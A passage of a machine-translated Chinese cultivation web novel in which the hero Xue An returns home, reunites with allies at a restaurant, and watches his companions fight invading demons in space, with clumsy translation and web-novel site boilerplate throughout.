    "That''s good!" Du Fan nodded, and then ordered: "Let me watch it carefully. If something happens and collides with the VIP inside, I will take your skins!"


    A few hands looked down and said, "Yes! Don''t worry, Brother Fan, I have just notified my brothers, and now we are all around!"


    "Ok!"


    At this moment, a subordinate who had followed Du Fan for many years looked at Lao Xie Hotel in awe, and then lowered his voice: "Brother Fan, the one who just entered...isn''t the one in the legend?"


    Du Fan''s complexion sank, and he scolded: "Don''t ask about things that shouldn''t you worry about! If you bump into an adult, can you afford it?"


    "Yes, yes! We just want to ask it out of respect!"


    Du Fan nodded imperceptibly, "Yes, that''s the lord!"


    All of the subordinates looked solemn when they heard the words, and their figures were straight, and then looked at Lao Xie Hotel with admiration.


    "Go! Remember to keep your brothers up!"


    "Yes!"


    Then, all of them left Du Fan stayed in the car for a while.


    From his perspective, it happens to be able to vaguely see some of the inside through the glass door.


    The laughter and laughter also proved that the people inside were celebrating.


    Du Fan didn''t cling to it ignorantly.


    Because he knew that those who can sit with Xue An now are his relatives and friends.


    Although he has a little friendship with adults, he is far from being so intimate.


    What''s more, there is still this identity gap.


    But Du Fan suddenly thought of something at this moment, and quickly took out his cell phone and dialed a number.


    After a while, a cold female voice came from the phone, "What''s the matter!"


    Du Fan immediately said: "Chairman, your lord is back!"

 Chapter 1693： Up and down

    "What?" The originally calm female voice instantly became extremely excited, "Where?"


    "It''s here at Uncle Xie''s restaurant! Your lord should have just returned!"


    "Okay! I''ll be over right away!"


    After all, the phone was immediately hung up.


    Du Fan put away the phone, a smile appeared on his face.


    There are many chairman of the board of directors in Beijiang, among them there are many large directors of multinational companies.


    But there is only one person who can make Du Fan the chairman of the board.


    That is Qin Yu, who is in charge of Longtai Group, who is known as holding half of the sky in Beijiang!


    Nowadays, Longtai Group is more than twice as large as before. Especially after cooperating with Tianyuan Group, which has the largest Chinese giant, Longtai Group has started to develop frantically at a staggering speed.


    The Qin family, the founder of Longtai Group, also became the No. 1 family in Beijiang.


    But Qin Yuan, the elder of the Qin family, has long left nothing to do, and all matters are handed over to granddaughter Qin Yu to manage.


    This also made Qin Yu one of the few richest people in Beijiang and even the whole China.


    Such monstrous wealth, even though Qin Yu is very low-key, still makes her the target of countless people.


    But most people can''t see her at all. There is her mobile phone number in Beijiang, and there are few people who can directly contact her.


    Du Fan happened to be one of them.


    But usually, Du Fan never made this call.


    Because he also knew that although he was honored as Brother Fan everywhere, he still had a gap in identity compared with Qin Yu.


    But this time, Du Fan proved his worth through this incident.


    At the same time, in the top floor of the towering Longtai Building in the center of Beijiang.


    Qin Yu''s secretary is sorting out the documents needed for the next day.


    The night is already deep at the moment, but the day''s work is far from over.


    But this little secretary is used to this kind of life.


    Because it was not just me who worked overtime together, the light in the distant office proved that the chairman was still working.


    Everyone is a goddess worth hundreds of billions of dollars. If you still work so hard, what right do you have to complain?


    What''s more, my current job is not only very well-paid, but also very decent.


    As long as you tell someone that you are working in Longtai Group and being Chairman Qin''s secretary, then no matter who it is, you have to look at yourself.


    At this time, the little secretary suddenly thought that the chairman is not only beautiful, but also very capable. He has such a huge enterprise under his staff, but he has remained single.


    It''s not that no one is chasing, on the contrary.


    There are so many people who want to see the chairman every day, but the chairman does not discuss anything except work.


    I really don''t know what kind of man can be worthy of a woman like the chairman!


    Just as the little secretary was thinking about it, there was a sudden sound of rapid footsteps in the office.


    The little secretary looked stern, and hurriedly stood up straight, ready to await the chairman''s order.


    But at this moment, the door of the office was pushed open, and then Qin Yu ran out of it in a violent speed, almost knocking down the Feng Shui vase in front of the door.


    Despite this, Qin Yu''s speed still did not slow down in the slightest, but ran faster and faster.


    Even in the middle of the run, Qin Yu kicked out because the high heels under his feet were a little in the way, kicking the high heels directly out of the feet, and then ran away barefoot.


    The little secretary''s mouth gradually widened, staring at Qin Yu''s back in a daze, a big question mark gradually appeared on his head.


    Chairman...what''s wrong?


    Naturally, as Qin Yu, there is an exclusive elevator, but for such a high building, it takes a few minutes to get to the end even if you take the elevator.


    Qin Yu took advantage of this time to tidy up her makeup in the mirror in the elevator, wiped away the over-professional aura, then gathered up the loose long hair, and simply pulled a ponytail behind her head.


    Seeing himself in the mirror who was much less powerful and beautiful, Qin Yu breathed a sigh of relief, then took out his mobile phone and dialed his grandfather''s number.


    The call was quickly connected.


    Except for very urgent matters, Qin Yu rarely contacted Qin Yuan via mobile phone.


    "what happened?"


    "My lord is back!"


    There was a moment of silence on the other end of the phone, and then Qin Yuan said solemnly: "Where? When did you come back?"


    "At Uncle Xie, I heard from Du Fan that I should have just returned tonight!"


    "Okay! You go first, I''ll be there later!"


    Qin Yu was surprised.


    You must know that since he took charge of the Longtai Group, his grandfather has completely retired, and he doesn''t show his face at all on weekdays, but he didn''t expect to show up this time.


    "My lord has the favor of our Qin family. This time he returns from the battle, even if I can''t move in bed, I have to see him!"


    Qin Yu said with a stern expression, "Yes! I understand!"


    The phone hung up and the elevator happened to reach the first floor.


    With a ding sound, the elevator door slowly opened.


    The female receptionist on the first floor who was responsible for this elevator hurriedly stepped forward.


    "Chairman!"


    Qin Yu didn''t have time to pay attention to her, but moved forward.


    At this time, the female receptionist also noticed that Qin Yu was barefoot, and couldn''t help closing her mouth in surprise.


    At this moment, Qin Yu stopped abruptly, then looked down at the pair of sneakers worn by the front desk.


    "how much is it?"


    "what?"


    "I ask how much your shoes cost!" Qin Yu raised his voice.


    The front desk was a little dazed, and tremblingly said, "Eight...eight hundred!"


    Qin Yu turned around and panted. The female secretary who finally rushed over said: "Give her five thousand later!"


    "Huh? Yes!"


    Then Qin Yu said to the female receptionist: "Take it off!"


    The female receptionist was already stupid, she took off her shoes in a muddle, Qin Yu put them on immediately, and then strode out.


    The female secretary was a little dazed, and took a few steps, "Chairman..."


    "Don''t follow me!"


    After all, Qin Yu went straight through the hall, regardless of the shocked gaze of the people around him, went straight out of the Longtai Building, and then got into a sports car.


    With a kick of the accelerator, the sports car roared, flew out like an arrow from the string, and disappeared into the night in an instant.


    Lao Xie Hotel is not too close to Longtai Building But at Qin Yu''s almost crazy speed, he arrived in just five minutes.


    But instead of driving directly to the door of Lao Xie Hotel, she glanced at Du Fan, parked the car far away, and walked over.


    Du Fan was waiting at the door. When he saw her, he couldn''t help but greeted her, "Chairman Qin!"


    Qin Yu nodded, "Is the adult still there?"


    "Drinking inside!"


    Qin Yu took a deep breath and glanced at the small restaurant with complicated eyes, then stepped forward and gently opened the door.


    When everyone heard the noise, they couldn''t help but raised their heads and looked here.


    Qin Yu saw Xue An sitting in the middle at a glance, and his heart was shocked.


    The breath of the adult seems to be invisible at all, especially those eyes, which are as deep as the starry sky.


    But Qin Yu soon recovered and smiled at Xue An, "My lord!"

 Chapter 1694： Gradually boiling

    Xue An smiled indifferently and nodded, "I guessed you would come, sit down! Have a potluck together!"


    Qin Yu secretly breathed a sigh of relief.


    To be honest, she was very nervous before entering the door, because she didn''t know what Xue An thought.


    Whether you will be unhappy because of your sudden arrival.


    After all, Xue An didn''t notify him after he came back. If it weren''t for Du Fan, he might not have known that Xue An was back.


    Seeing that Xue An didn''t seem to be annoyed by it now, Qin Yu''s heart was only half relieved.


    At this moment An Yan stood up and greeted with a smile: "Come on, Director Qin sit here!"


    "Thank you Sister Yan, you can just call me Yuer, but don''t call me that!" Qin Yu said hurriedly.


    At the same time, the two little girls leaned out from behind An Yan with a smile, "Aunt Qin, do you remember us?"


    Qin Yu''s heart warmed, and smiled and nodded: "Of course I remember! How can I forget the two little beauties?"


    "Hehe!" The two little girls smiled happily.


    Both of them had impressions of Qin Yu when she often bought snacks for both of them.


    Then Qin Yu sat beside the two little girls, only then did she find that there were more faces on the dinner table that she didn''t recognize.


    Such as Hu Ying, such as Luo Lanting.


    Especially Hu Ying, when she saw this beautiful girl, even Qin Yu couldn''t help but lose consciousness, and then a look of horror appeared in her eyes.


    Why is there no human breath on this girl?


    You must know that now Qin Yu is not only the chairman of Longtai Group, but also has a good cultivation base. Although not comparable to Tang Xuan''er and others, he is still a strong man of longevity.


    But she couldn''t perceive this girl''s aura at all, how could this not make her horrified.


    As if noticing Qin Yu''s surprise, Hu Ying raised her head and smiled at her.


    This smile was almost like a thousand flowers blooming, and Qin Yu was immediately lost in confusion.


    "Ying''er, don''t be fooling around, get out of Mei Shu!" Xue An shouted helplessly.


    Hu Ying chuckled a few times, "Who made her look at me with that look? It''s just a little lesson for her!"


    With that, Hu Ying snapped his fingers lightly.


    Qin Yu just woke up like a dream, and then said in shock: "You are a fox..."


    Hu Ying''s expression sank, "Fox what?"


    Qin Yu is so smart that he immediately noticed the temper of Hu Ying''s child, so he immediately changed his words: "It turned out to be sister Fox fairy! It''s amazing!"


    Hu Ying just snorted triumphantly.


    Qin Yu was amused, but she also faintly guessed that the identity of this girl is definitely not simple, otherwise there would be no such powerful charm technique.


    Then she looked at Fan Mengxue, who was sitting opposite, with a look of surprise in her eyes.


    Of course she recognizes Fan Mengxue, and naturally she knows that the once big star, the commander of the European Dark Council, has disappeared for a long time.


    Unexpectedly, she also came back with the adults this time.


    And the momentum is deep, obviously the cultivation base is extremely high.


    Thinking of this, she smiled at Fan Mengxue, "Unexpectedly, Ms. Mengxue will also be back. If the people in the Dark Council knew, they would be very happy!"


    Fan Mengxue didn''t talk much from beginning to end, but when she heard what Qin Yu said, a smile appeared on her face, and then nodded.


    At this moment, I heard a hearty laugh outside the door.


    "Mr. Xue, I''ll also beg for a drink, you won''t dislike it!"


    Following the voice, I saw Qin Yuan stepping in.


    Qin Yuan nowadays, because of the deepening of his cultivation, has not shown the slightest old state, and even looks younger than before.


    But other than that, you can��t see the slightest surprise in him. He is dressed in simple and casual clothes, gray hair, and a kind smile. All of these are just like an ordinary old man. You can��t see that he is the Longtai Group. Former chairman of the board.


    Xue An owed his body slightly this time, and then said with a smile: "Of course I won''t dislike it, please sit down, Mr. Qin!"


    Qin Yuan was not polite, and took a seat directly, and then said with a smile: "I heard Yu''er say that Mr. is back, so I rushed over without stopping, hoping to not disturb him!"


    Xue An smiled and shook his head, and then raised his cup, "Master Qin is polite, he is all a friend, why so much courtesy? Come, let''s have a drink together!"


    Hearing these words from Xue An, Qin Yu''s other half also let go.


    In fact, she was a little worried.


    Because Xue An had been away for a few years and suddenly returned without any notice!


    Although Qin Yu thought that he had never done anything to apologize to his conscience, he was still a little uneasy in his heart.


    It wasn''t until Xue An said that, she was completely relieved.


    The banquet continued, and the atmosphere became more and more enthusiastic.


    But Qin Yu and others didn''t know that the entire Beijiang also began to boil at this time.


    Because of the sudden movement of the Qin family, others would naturally not know it.


    Especially when Qin Yuan, who had not shown up for a long time, traveled overnight, it attracted the attention of many caring people.


    What important thing can make Qin Yuan, a big man who has been in hiding for a long time, travel late at night?


    Then Du Fan''s actions also attracted the attention of many people.


    Because of Du Fan''s order, the originally calm underground rivers and lakes began to surge.


    The younger brothers from all sides were yelled from under the covers, and then appeared near the Lao Xie Hotel, and began a close inspection.


    Du Fan personally sits in the middle, looking at everything around him sternly.


    Such a big move will naturally arouse countless suspicions.


    Especially when Qin Yu and Qin Yuan entered the Lao Xie Hotel, this suspicion reached its peak.


    The senior executives of countless companies or families were awakened late at night.


    Because they didn''t know what was going on in this seemingly humble Old Xie Hotel, which could actually attract such a big battle.


    In a few years, many newcomers have forgotten what happened.


    There are even some young people who don''t even know the existence of Xue An But those senior powerhouses who have been in Beijiang for many years all have a faint hunch in their hearts.


    Could it be... that Mr. Xue is back?


    Otherwise, who can have such a big face for Qin Yuan to visit in person?


    As soon as this suspicion came out, many people''s hearts became uneasy.


    Although it has been many years, Xue An��s impressive power at the time is something that no one dares to forget.


    Those who haven''t committed a crime are okay. Some people who are gradually arrogant relying on their own strength are so scared that their faces are pale, and they can''t help but begin to tremble.


    And this storm is spreading outward at a terrifying speed.


    Many powerful people in the provincial capital, southern provinces, and even the Central Capital learned of this news through various channels.


    The entire country of China also gradually boiled over.

 Chapter 1695： 1 person returns to the world

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Zhongdu.


    Tianyuan Group.


    Now Tianyuan Group has become the leading giant company in Asia and even the whole world.


    In addition to the main product Tianyuan Potion, its business scope also covers all aspects of life.


    Not only that, Tianyuan Group has also cultivated countless strong men and become the mainstay of China.


    All this has also made Tianyuan Group a legendary company.


    now.


    In the headquarters of Tianyuan Group, Qiao Le, who was busy, suddenly received a call.


    "Hey, big brother, what''s the matter?" Qiao Le asked, tilting his head and holding the phone, while busy.


    "The news just received, Xiao An may have returned!"


    Qiao Le was shocked when he heard the words, and immediately stood up and said with joy, "Second brother is back? Where?"


    "The news came from Beijiang, but I don''t know where it is!"


    Qiao Le immediately began to pack the things on the table, and at the same time eagerly said: "Big brother, since there is news that the second brother is back, what are we waiting for? Go to Beijiang now!"


    "Wait a minute! Don''t worry!"


    "Can I be in a hurry? That''s my second brother!" Qiao Le said impatiently.


    "That''s what I think. Xiaoan came back very suddenly this time and didn''t notify anyone, so I think it''s better not to go there for now!"


    "Why?" Qiao Le increased his voice, "Did the relationship between our buddies fade?"


    "Of course not! I just think Xiao An must have his intention to do this. We''d better not disturb for the time being, and if he wants to see us, he must have already come here!"


    Among the four of them, the boss, Zhao Xuehui, is the most mature and respectful, so he thinks the longest.


    After hearing this, Qiao Le was silent, and after a long time he said a bit astringent: "But I really miss the second brother!"


    "We all miss him, but now that Xiao An has returned, we are not in a hurry! And Xiao An''s return this time will definitely cause shocks from all parties. We are better than anything else to guard the Tianyuan Group for him. !" Zhao Xuehui said.


    "Then did you tell the fourth child?"


    "Bin Yi, I have just contacted, and he has the same reaction as you!"


    "Okay!" Qiao Le hung up the phone, and then sat back in the chair with a bit of depression, without saying a word.


    After a while, he recovered, and then gently picked up a photo on the table.


    In the photo, Zhao Xuehui, Xue An, who were still young at the time, as well as themselves and Yang Bin were smiling brilliantly.


    Qiao Le rubbed the photo lightly, his eyes gradually turned red, and finally sighed quietly.


    At the same time, the various forces reacted differently after learning of this news.


    He immediately set off for Beijiang, ready to meet this legendary, and it can even be said that he created this prosperous age in one hand.


    There are also full of panic and trembling, for fear that some shady things will cause serious disasters.


    But no matter what, Xue An''s return crushed everything that was originally peaceful.


    Seeing this scene, some people can''t help but sigh.


    Xue An is the only one who can make the world fearful by returning alone!


    Regardless of the chaos outside, Lao Xie Hotel is still peaceful and warm.


    At this time, Qin Yuan put down his wine glass and said sternly: "Mr. Xue, but I don''t know if you have any plans for returning this time?"


    Xue An smiled slightly, "I originally wanted to solve the crisis, but looking at it now, it doesn''t seem to be necessary for me to take action! Xuan''er and the others can solve this incident perfectly."


    Qin Yuan frowned when he heard the words, then hesitated for a moment, then said in a tentative tone: "Mr. Xue, but I don''t know if I should say something!"


    "Say!"


    "I always feel that this incident revealed this weird and weird!"


    Xue An raised his eyebrows slightly, and said with interest: "Oh? Why do you say that?"


    Qin Yuan smiled bitterly: "Actually, I''m just guessing, and there is no evidence, but I still feel that those extraterritorial monsters that attack the earth seem to have come to die!"


    "Go on!" Xue An said with a calm face.


    "I often watched news from outer space at home, and then I discovered that although these monsters are powerful, they are still much worse than Miss Xuan''er and the others. Attacking the earth with such strength is completely hitting rocks with pebbles."


    "The facts have also proved this. Except that the earth was caught off guard at the beginning, which resulted in the loss of some manpower, basically no losses were suffered later. On the contrary, these monsters suffered serious losses!"


    "Is this bad?" Xue An said with a smile.


    Qin Yuan shook his head, "I don''t think so, because when something goes wrong, there must be demons. These demons are not fools. Why are they still attacking the earth with such great losses? Unless..."


    "Unless what?"


    "Unless these demons do this deliberately, in order to use this method to divert people''s attention, confuse the audience, and achieve some ulterior purpose!


    Speaking of this, Qin Yuan''s expression became very solemn, because these were indeed guesses buried in his heart.


    But he doesn''t dare to say these words at all, because the current public opinion atmosphere has completely gone to an extreme.


    If the previous human beings were full of despair and powerlessness in the face of foreign powerhouses.


    Now human beings have almost swelled their self-confidence to a staggering level.


    There are even media speculations about how long it will take for human beings to reach the heavens, stepping under the feet of the gods and demons who used to be high, and the final conclusion is that it can be done in no more than a hundred years at most.


    More importantly, no one actually thinks this is a joke, and all think it is a breeze and even a matter of course.


    Although Qin Yuan''s status and status were very high, he did not dare to speak out these guesses in his heart at the risk of the world.


    It wasn''t until today that he met Xue An that he confided all the thoughts in his heart.


    After speaking Qin Yuan looked at Xue An nervously, wondering what kind of attitude this Mr. Xue would have.


    Seeing that Xue An was slightly surprised at this moment, there was a hint of approval in his eyes looking at Qin Yuan.


    It is worthy of being a person who once started from scratch and founded the Longtai Group, who was able to draw such a conclusion through very limited clues.


    In fact, Qin Yuan''s view coincides with Xue An''s.


    The powerhouses of Paradise Lost are almost coming out, and the purpose is obviously not that simple.


    So now this sporadic attack is simply a joke.


    Therefore, Xue An nodded, "Master Qin really looked like a torch, what you think is what I have been thinking about!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1700 One Person Returned to the World (First Update)), and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1696： The war begins

    Hearing these words, Qin Yuan let out a sigh of relief, and felt that a big rock that had been hanging in his heart fell to the ground.


    Because what he was most afraid of was that the existence of Xue An was also contaminated with the arrogance of human beings, which blinded his eyes.


    In that case, if something happens, the possibility of waiting in front of humans will be a disaster.


    But now it seems that Xue An does not have the slightest arrogance, on the contrary, he is very sober.


    This is the best result for Qin Yuan.


    "It''s just a bit of a fallacy. If it can help Mr. Xue, that would be great!"


    At this moment, Xue An suddenly raised his head and looked out the door, then smiled at the corner of his mouth and said, "Tonight is really lively!"


    As soon as the voice fell, I heard a respectful shout from outside.


    "The sixty-seventh generation descendant of the Heavenly Master Mansion, the current celestial master Zhang Chu, pay homage to your lord!"


    Tianshifu?


    Many people looked blank.


    Qin Yuan and Qin Yu were surprised.


    Because today''s Tianshi Mansion can be said to be a Taoist court in China.


    Zhang Chu is even known as the immortal of the world.


    Why is he here too?


    At this moment, Xue An smiled lightly: "Come in! The door is unlocked again!"


    After all, the door of the restaurant was gently opened, and then a man wearing a tao suit and extraordinary man came in.


    It is Zhang Chu.


    And behind him were several disciples, among them the brothers and sisters Zhang Fengwu and Zhang Jingping that Xue An just met when he returned.


    Zhang Chu''s aura is a bit disturbed now, because he rushed all the way.


    From Jiangyou Tianshifu to Beijiang, he only spent less than a stick of incense in total, and he also took a few disciples, which also caused a lot of pressure on him.


    But he was still very excited.


    Because just now, he was meditating with his eyes closed in the Heavenly Master''s Mansion.


    Although he did not participate in the outer space resistance war, his burden is not light.


    Nowadays, the land of China is full of evil and evil spirits.


    As a Taoist court, Tianshi Mansion has the duty to take on the heavy task of demons and demons.


    Wherever there are demons, the disciples of the Heavenly Master''s Mansion will appear, which can be called the vanguard of fire fighting.


    Today Zhang Chu has just eliminated a few powerful evil spirits, but his own losses are also considerable, so he took advantage of this rare leisure time to hurry up and recuperate.


    Then Zhang Fengwu and Zhang Jingping returned.


    As disciples sent out abroad, they naturally had to go to work when they came back, but this time Zhang Fengwu went directly into the back mountain and told his master that he had very important things to see.


    In the end, he met Zhang Chu smoothly, and then took out the pill that Xue An had bestowed on him.


    Zhang Chu saw this thing as if it had been struck by lightning, because even though it was only something that Xue An appreciated casually, to Zhang Chu, this pill was simply unheard of, and it was extremely valuable.


    Immediately afterwards, Zhang Fengwu recounted what he had said after seeing Xue An, and finally said hesitantly.


    "Master, he said that if you ask who he is, let me tell you, can the real soldiers of Daofu be used smoothly?"


    Hearing these words, Zhang Chuhuo stood up, his eyes were full of glory, and he muttered blankly: "It''s him! Sure enough, the lord has returned!"


    As he said, he asked eagerly: "Then this lord can say where he went?"


    "No!" Zhang Fengwu shook his head.


    Zhang Chu was a little sad. Of course he guessed that the person who gave the medicine was Xue An, but since Xue An didn''t reveal his whereabouts, he obviously didn''t intend to see him.


    But at this moment, a news came that Xue An was probably in Beijiang. Mengsheng Novel


    So he led Zhang Fengwu and others to rush over overnight.


    At this moment, after seeing Xue An, Zhang Chu was so excited that he couldn''t express himself, and respectfully hit the Jishou for questioning.


    "My lord! I take the liberty to visit, and please forgive me!"


    With that, he turned his head and glanced at Zhang Fengwu who was already stunned.


    Zhang Fengwu woke up like a dream, and hurriedly stepped forward, bowing and saluting, "Thank you...thank you for giving me medicine!"


    The voice trembled a little.


    Because he can be so respected by his master, then the identity of this man is ready to emerge.


    It is really a blessing to be cultivated to be able to get his appreciation!


    Xue An chuckled when he saw it, "Okay, so what are you polite to do! I just saw your disciple with a good temperament, so I just rewarded him with a pill, it''s not worthy of such an excitement!"


    Zhang Chu was taken aback, then showed a wry smile.


    "My lord, it may not be worth mentioning to you, but it is enough for this child to change his life, so I will naturally take him to thank you!"


    Xue An waved his hand, and when he was about to say something, his face suddenly changed, and then he stood up and walked outside the hotel.


    Not only him, Zhuge Zang''s face also sank, and he walked outside after him.


    Everyone didn''t know what was going on, but seeing the atmosphere in the scene, they couldn''t help getting up and coming to the door.


    At this moment Xue An stood outside the door and looked up at the sky, his eyes gradually becoming cold.


    "Old man Zhuge, do you feel it?"


    Zhuge Zang nodded and said solemnly: "Very strong!"


    Xue An sneered and said, "I''m really going to be in a hurry. They attacked when I came back!"


    An Yan was a little dazed, and whispered: "Husband, what are you talking about? There is nothing in the sky!"


    As soon as the voice fell, a bright spot suddenly appeared in the sky. This spot looked like a bright moon, and the sky illuminated like daylight.


    Immediately afterwards, this spot of light exploded, and countless radiances rushed towards the earth like meteors.


    This scene stunned everyone.


    Even Qin Yu and others were shocked.


    Because in the past, although there would be visions in the sky, there has never been such a power.


    Upon seeing this, Xue An said lightly: "Old man Zhuge, you are here to wait for everyone, I will meet these guys for a while!"


    "Good!" Zhuge Zang nodded in response.


    As soon as the voice fell, but seeing Xue An shake his sleeves, the whole person rose up into the sky and turned into a bright light and went straight to the sky.


    at the same time.


    The whole world felt the strangeness this time, and various media quickly pointed the satellite camera at the fortress of outer space and started live broadcasting the whole process.


    The Internet quickly began to boil.


    "Haha, how dare these demons come? This time I''ll pay ten yuan to bet the goddess Xuaner wins!"


    "I bet on Jingjing Goddess!"


    "General Ann races high!"


    "Girl Chen Rushi is king!"


    For a time the eyes of the world were all affected by this incident.


    But different from the relaxed mentality of ordinary people, the hearts of many strong people are all sinking.


    Because they can all feel that the situation this time is a little different from before!


    In this much-anticipated situation, Xue An''s figure flashed by in the detection of numerous satellites, did not attract anyone''s attention, and quietly appeared outside the Battlestar.


    At the same time, a great war also began.


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1697： If you want to pass, you have to pass me first!

    oom!


    Successive brilliance flew in front of the outer space fortress, and then suddenly condensed, revealing the figure inside.


    It was a monster with a tall stature and a hideous face.


    After these demons appeared, they immediately started bombarding the Battlestar.


    At this moment, I just listened to a soft chick.


    "The evildoer will die!"


    Following the voice, seeing a brilliance of brilliance swept past, directly slicing the monsters in front of them in half.


    Then in front of the fortress there appeared a beautiful woman who looked like an orchid in the empty valley.


    Seeing this lens, the Internet instantly boiled.


    "Ahhhhh, it''s the goddess Xuaner!"


    "Goddess Xuan Er Sai Gao!"


    "Goddess Xuan''er, I want to give birth to a monkey for you!"


    In this almost mad barrage, Tang Xuan''er stood proudly, straight to the monsters in front of them, and said in a gentle but very firm tone: "If you dare to go forward, this..."


    Tang Xuan''er pointed at the dead corpses of the monsters floating in the air, "It''s your fate!"


    The network barrage is boiling again.


    "Call CALLLLLLLLL for the goddess Xuaner!"


    "Sister Xuan''er''s expression of ruthlessness is so shameless, I''m going crazy!"


    At the same time, Tang Xuan''er exuded an extremely tyrannical power.


    Xue An, who was watching the battle from afar, lit up slightly before seeing this, and then a faint smile appeared at the corner of his mouth.


    Was he already a strong man in a half-step true fairy?


    It seems that Xuan''er has not slackened in recent years!


    But frightened by Tang Xuan''er''s might, these monsters actually took a half step back.


    But then, these originally flinching monsters seemed to be driven by some mysterious power, and they trembled all over, and then rushed up again fiercely.


    Some of the demons dealt with Tang Xuan''er, while the others tried to bypass the Battlestar and attack the earth directly.


    But at this moment, the void suddenly rippled, and then I saw countless poisonous insects pouring out of it, directly blocking the way of the demon.


    Immediately afterwards, a woman''s figure appeared in the center of these poisonous insects.


    I saw the woman shrouded in black armor, but this kind of armor showed her slender figure just right.


    And a face somewhat similar to An Yan was full of coldness.


    It is An Qing!


    There was another uproar on the Internet.


    "Goddess An Qing, I love you!"


    "Zerg goddess!"


    "I am the Zerg!"


    Of course An Qing didn''t know these shouts, in fact she didn''t want to know either.


    Because she was in this state, her thinking was closer to the ruthless queen who ruled the Zerg, rather than ordinary humans.


    I saw her looking at these Zergs fighting fiercely with demons with a cold face.


    In terms of individual strength alone, these poisonous insects are simply inferior to these monsters, so every second there will be countless zerg deaths.


    Nevertheless, every time a zerg fell, more zerg rushed forward, completely fearless of life and death.


    It was under this almost crazy style of play that these poisonous insects actually dragged the pace of this group of demons.


    But this is not a long-term solution, because with An Qing''s current strength, the number of Zerg transferred from the void is limited after all. Once the death is exhausted, then there will be no line of defense.


    Many powerful people on the earth who are watching this global live broadcast have also seen this, and they can''t help but become a ball.


    The offensive of the demons this time is much sharper than before!


    Can the Battlestar still hold it?


    But at this moment, but seeing the sky above these monsters, a chess game appeared out of thin air, and then directly fell down, covering most of these monsters.


    Immediately afterwards, the chess pieces in this chess game began to play frantically. Although they could not directly kill these monsters, they succeeded in trapping them in them, constantly weakening their strength.


    At the same time, behind the Zerg army, the pale Wei Rulan slowly emerged.


    "It''s Girl Rulan!"


    "Hey, she only played a chess game ten days ago, and playing it again after such a short interval, it would do great harm to the body!"


    "Ouuuuuu, hate my low strength for not being able to help several sisters!"


    Everyone watching this scene on the Internet is a little sad.


    But at this moment, a brilliance suddenly appeared in the army of monsters and began to flash one after another.


    With every flicker, several demons would fall, and it was not until a few breaths before this brilliance rushed out of the demons camp, and then appeared behind the Zerg defense line.


    The light dissipated, and inside was a beautiful woman with a cold face and extremely calm eyes.


    I saw the woman gasping for a few hurriedly, and after she calmed down a little, she said in a voice without any waves: "If you want to get past here, you have to pass me first!"


    The barrage began to flutter frantically again.


    "The cold noodle goddess is here!"


    "Goddess Chen is invincible in the world! (broken tone


    Xue An''s eyes moved slightly!


    It''s Chen Rushi!


    She is here too!


    Before Xue An left the earth, he once taught Chen Rushi a technique called Jue Qing Dao.


    This kind of exercise progresses extremely quickly and is extremely overbearing. The only drawback is that the person who practices it will lose most of his emotions and become an emotional machine.


    At that time, Xue An explained these concerns to Chen Rushi, but Chen Rushi still insisted on practicing this exercise so as to strengthen his strength as soon as possible and avenge his grandfather.


    Now it seems that Chen Rushi''s entry is indeed the fastest among the people.


    It even surpassed Tang Xuan''er and reached the realm of true immortality.


    From what Chen Rushi looks like now, it is obvious that she has lost most of her emotions. If she can''t find out before the next level, then she is very likely to become a stone man who has completely lost emotions.


    Thinking of this, Xue An sighed secretly, and was about to show up.


    At this moment, a team appeared in the distance and rushed here at an extremely fast speed, and at the same time there was a roar.


    "You wait for the monsters, the fire phoenix comes too! See who of you dare to be rampant!"


    With the voice, the person has rushed to the front, and the leader is a brawny man with brilliant golden light.


    It is Zhou Daniu of the Fire Phoenix Special Forces.


    I saw that he didn''t talk nonsense when he got closer directly rushed into the monster camp.


    The demon in the front raised his hand and attacked. Zhou Da Niu smiled grimly, did not dodge at all, but slammed into it with his head.


    Bang!


    After a loud noise, the demon screamed, and he was directly smashed into his arm by Zhou Daniu''s blow.


    Immediately afterwards, Zhou Daniu shouted excitedly: "Go to death for me!"


    As he said, Zhou Daniu''s two hands directly squeezed the two legs of the demon, and then slammed hard.


    puff!


    This monster was actually torn in half by Zhou Da Niu Shengsheng,


    This **** scene spread all over the world through the lens, and it made people crazy about it.


    "Ahhhhh, Zhou Tieren is invincible!"


    "The fire phoenix is ??here, these demons are dead!"

 Chapter 1698： Mentally disabled children have a lot of fun

    After several years of development, the Fire Phoenix Special Forces has become a kind of belief, a kind of existence similar to a benchmark.


    No matter which country''s power is strong, it is now accustomed to use the fire phoenix to compare power.


    In China, there are countless young people who aim to enter the Phoenix as their goal.


    The reason why the Fire Phoenix Special Forces has such a high reputation is not only because of the strength of its players, but more importantly, because of its unsolvable combined attack tactics.


    The troops of countless countries want to imitate the Fire Phoenix, so they frantically studied their tactics, but the final conclusion is that they cannot be copied.


    Because in order to achieve the tacit cooperation of the Fire Phoenix, the team must first establish absolute trust.


    Without this, everything is empty talk.


    But how can absolute trust be so easy to establish?


    So many people are puzzled about this.


    Could it be said that the people of the Fire Phoenix are all tempered between life and death?


    But in that case, wouldn��t you be afraid of non-combat attrition?


    Of course they didn''t know that when Xue An was building the Fire Phoenix, he had all tried in the secret realm of the Heart Demon.


    This starting point is destined to be unsurpassed by others.


    Therefore, when all the members of the Fire Phoenix appeared and joined the battle group, the Chinese people were all relieved.


    Because they know that this wave is stable!


    The facts are indeed as they expected, when the Fire Phoenix people appeared, the battlefield situation instantly reversed.


    Under the almost crazy rampage of the leader Zhou Daniu, the queues of the monster camp were scattered.


    The people who followed Zhou Da Niu were not vegetarian.


    Seeing the captain Cheng Hao standing on the left side of Zhou Daniu, attacking again and again, protecting Zhou Daniu''s rear.


    However, Zou Sui, known as the Shadow Assassin, kept flickering in the shadows and launched attacks frequently.


    Every blow will result in the life of a demon.


    The battlefield situation became like a raging fire, and Xue An was not in a hurry to show up.


    He wanted to see what the team he had tuned up and down had become after so many years of tempering.


    The final result also made him quite satisfied.


    Let alone other things, just a Zhou Da Niu rushing to the front is considered a surprise.


    Xue An didn''t expect that this simple and honest silly big man could go so far, and he would become a true immortal powerhouse!


    You must know that what he cultivates is the most difficult physical cultivation to enter!


    This is enough to prove the talent of this Zhou Daniel.


    As for the progress of others, it is also obvious, especially this kind of seamless joint attack tactics, which greatly magnified their overall strength.


